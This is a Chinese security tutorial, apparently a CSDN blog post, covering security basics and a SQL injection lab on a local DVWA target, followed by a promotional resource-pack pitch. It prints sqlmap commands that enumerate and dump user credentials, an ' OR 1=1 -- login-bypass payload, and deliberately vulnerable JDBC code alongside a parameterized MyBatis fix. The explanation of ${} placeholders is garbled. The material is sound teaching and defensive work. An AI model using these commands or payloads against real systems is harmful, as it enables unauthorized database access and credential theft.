在当今数字化时代,网络安全成为全球关注的焦点。随着互联网的普及和信息技术的迅猛发展,网络攻击和数据泄露的威胁也日益增长。为了保护个人隐私和企业敏感信息,网络安全行业正蓬勃发展。
本文将简单介绍网络安全的定义和属性,并通过sql注入的案例实战展示web安全的攻击与防护。
*一、*
*网络安全简介*
就像亲戚朋友们总会对学计算机的我们误解道,“你们学计算机是不是都会修电脑啊,我家电脑刚好坏了,帮我看下呗?”
大家对做安全的也有一定的误解,比如开玩笑说,“你们搞安全的都是黑客哇?你帮我盗个QQ号/游戏账号呗?”
那网络安全到底是什么呢?百度百科上对于“网络安全”是这么解释的:
我们搞安全的,目标就是保护网络安全!所以,我们当然不是黑客啦!
黑客的思维是以攻击和破坏网络为主,这是反向的攻击,而我们做安全测试的,不仅需要学习黑客的思维模式,利用反向攻击来检测安全漏洞,更需要以防御的思路从正向来保护网络的安全。
下面让我们来了解一些常见的网络安全术语:
图源https://zhuanlan.zhihu.com/p/495714886
二
*网络安全的五大属性*
安全有五大属性,分别为**保密性、完整性、可用性、可控性和不可抵赖性。**这五个属性适用于国家信息基础设施的教育、娱乐、医疗、运输、国家安全、电力供给及通信等广泛领域,同时也是我们安全领域围绕的基础特性。
常见的web漏洞、签名和加解密、数据安全、安全配置等都与这五个属性有关:
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
1. 保密性:
**l加密:**使用加密算法对敏感数据进行加密,只有具备解密密钥的人才能解密。
**l访问控制:**限制对敏感信息的访问权限,并使用身份验证机制来验证用户身份。
**l数据分类和标记:**根据敏感级别对数据进行分类和标记,以确保只有授权人员可以访问。
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
2. 完整性:
**l数字签名:**使用加密技术生成数字签名,验证数据的完整性和真实性。
**l哈希函数:**使用哈希算法生成数据的哈希值,检测数据是否被篡改。
**l冗余校验:**通过冗余校验机制(如奇偶校验、循环冗余校验等)检测和纠正数据传输中的错误。
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
3. 可用性:
**l冗余设计:**通过备份、故障转移和负载均衡等技术,提高系统的容错性和可用性。
**l容量规划:**确保系统具有足够的存储容量和计算资源,以满足用户的需求。
**l灾备方案:**制定和实施灾难恢复计划,确保在灾难发生时能够快速恢复系统和数据。
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
4. 可控性:
**l登录和审计日志:**记录系统和用户的操作活动,用于追踪和审计。
**l数字水印:**向数据中嵌入唯一标识,用于追踪和确认数据的来源和使用情况。
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
5. 不可抵赖性:
**l数字签名:**使用数字证书和非对称加密技术对数据进行签名,确保发送方的不可抵赖性。
**l时间戳:**使用可信的时间戳服务,为数据和操作记录。
*三*
*功防实战演练*
学习完以上术语,接下来我们将通过一个简单的案例进行实战演练,进一步了解网络安全:
SQL注入漏洞是一种web安全漏洞,攻击者通过在应用程序中注入恶意的SQL代码,从而可以执行未经授权的数据库操作,获取敏感数据或对数据库进行破坏,结合其他漏洞甚至可以获取服务器的权限。
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
1. 利用sqlmap工具进行SQL注入攻击
使用本地搭建的DVWA漏洞靶场的SQL injection练习模块
*相关环境参考:*
①****DVWA**环境搭建:**https://blog.csdn.net/qq_58793845/article/details/128288260**
②****SQLMAP**工具使用:**https://blog.csdn.net/qq_61553520/article/details/130156864**
url:http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
**2.**使用sqlmap工具进行sql注入点检测
payload:python sqlmap.py -u “url” --batch --cookie=“cookie”
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
3. 如图检测参数id存在sql注入漏洞
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
4. 注入出数据库名
payload:python sqlmap.py -u “url” --batch --cookie=“cookie” --dbs
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
5. 制定数据库,爆出表名
payload:python sqlmap.py -u “url” --batch --cookie=“cookie” -D dvwa --tables
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
6. 爆出列名
payload:python sqlmap.py -u “url” --batch --cookie=“cookie” -D dvwa -T users --columns
━ ━ ━ ━ ━ ━ ━ ━ ━ ━
7. 爆出用户名和密码字段
payload:python sqlmap.py -u “url” --batch --cookie=“cookie” -D dvwa -T users -C user,password --dump
*四*
****从java代码看sql注入的产生和防护****
**
假设有一个有登录页面的场景,用户需要输入用户名和密码,系统再将输入的参数用来查询数据库中是否存在该用户。
此时这里使用JDBC API直接与数据库进行交互:
String username = request.getParameter(“username”);
String password = request.getParameter(“password”);
String sql = “SELECT * FROM users WHERE username = '” + username + “’ AND password = '” + password + “'”;
Statement statement = connection.createStatement();
ResultSet result = statement.executeQuery(sql);
在这个代码中,用户输入的 username 和 password 直接拼接到 SQL 查询语句中,使攻击者可以通过在 username 或 password 中注入恶意 SQL 代码来攻击数据库。例如,攻击者可以在 username 字段中输入 ’ OR 1=1 –,这会导致查询语句变为:
SELECT * FROM users WHERE username = ‘’ OR 1=1 --’ AND password = ‘’
由于 OR 1=1 始终为真,这个查询语句将返回所有用户的记录。注入的注释符号 – 会注释掉后面的 AND password = ‘’,从而绕过了密码验证。
为了防止 SQL 注入攻击,我们最好使用参数化查询和预编译语句。下面以MyBatis为例,展示防护SQL注入的示例代码:
**
**
首先,在 MyBatis 的 Mapper XML 文件中,我们需要使用 元素来定义 SQL 查询语句,并使用 #{} 来引用查询参数。例如:
SELECT * FROM users WHERE username = #{username} AND password = #{password}
接下来,在 Java 代码中,我们需要使用 MyBatis 的 SqlSessionFactory 和 SqlSession 类来执行 SQL 查询语句,例如:
String username = “test”;
String password = “test”;
Map<String, String> paramMap = new HashMap<>();
paramMap.put(“username”, username);
paramMap.put(“password”, password);
SqlSession sqlSession = sqlSessionFactory.openSession();
try {
User user = sqlSession.selectOne(“getUserByNameAndPassword”, paramMap);
// 处理查询结果
} finally {
sqlSession.close();
}
在上面的 SQL 查询语句中,我们使用了 #{} 占位符来表示查询参数,这样 MyBatis 会自动将参数进行预编译和转义,以提高查询的安全性和性能,因此可以防止 SQL 注入攻击。
请注意,这里使用的是 #{} 占位符,而不是 占位符,因为 {} 占位符,因为 占位符,因为{}是做简单的字符串替换,就是把传入的值直接拼接到SQL语句中,且不会自动加单引号,所以不能防止SQL注入的风险。
最后
统计数据显示,目前我国网安人才缺口达140万之多…
不管你是网络安全爱好者还是有一定工作经验的从业人员
不管你是刚毕业的行业小白还是想跳槽的专业人员
都需要这份超级超级全面的资料
几乎打败了市面上90%的自学资料
并覆盖了整个网络安全学习范畴
来 收藏它!一定会对你的学习有所帮助!
朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.网安必备全套工具包和源码
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,路线图上的每一个知识点,我都有配套的视频讲解。
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加护网行动、CTF和挖SRC漏洞的经验和技术要点。
网安方面的电子书我也收藏了200多本,基本上热门的和经典的我都有,也可以共享。
4.NISP、CISP等各种证书备考大礼包
5.信息安全工程师备考大礼包
6.网安大厂面试题
这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~